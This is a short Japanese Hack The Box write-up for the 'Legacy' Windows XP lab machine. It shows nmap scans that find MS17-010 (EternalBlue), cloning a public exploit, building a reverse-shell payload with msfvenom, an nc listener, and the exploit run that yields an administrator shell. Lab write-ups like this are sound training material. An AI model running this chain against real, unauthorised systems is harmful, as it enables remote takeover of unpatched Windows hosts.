Hack The Box Writeup | Legacy

Lagacyはwindowsのマシンで、難易度はeasyです。
Hack The Boxの中で非常に簡単なマシンです。

流れとしては、以下のようになっています。
1.nmapのスクリプトエンジンで、ms17-010(eternalblue)の脆弱性を特定
2.exploitを探す
3.msfvnomでペイロードを作成
4.exploitを実行してリバースシェルを成功させる

1.Enumeration

nmpaでオープンポートが、139,445であることを確認

map -p- --min-rate=1000 -T4 -Pn -o ports 10.10.10.4


nmapのデフォルトスクリプトエンジンを実行(-sC オプション)
OSがWindows XPであることが分かります。

nmap -Pn -sV -sC -p 139,445,3389 -o nmap 10.10.10.4


脆弱性確認のスクリプトエンジンを実行(–script vuln)

nmap -Pn -sV --script vuln -p 139,445,3389 -o nmapVuln 10.10.10.4

nmapの結果から「ms17-010」の脆弱性が存在することが分かります。

2.Exploitation

searchsploitで、exploitが存在するか確認します。

searchsploitでは、windows XPに該当するのがなさそうなので、別のexploitをダウンロードします。

git clone https://github.com/helviojunior/MS17-010.git

リバースシェルのペイロードを作成します。

sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.2 LPORT=1234 -f exe > legacy.exe


ncコマンドでリバースシェルを待ち受けます。

nc -nlvp 1234


exploitを実行します。

python send_and_execute.py 10.10.10.4 legacy.exe


リバースシェルが成功します。

3.Privilege Escalation

今回は接続できた時点で管理者権限になっていたので、Privilege Escalationは不要です。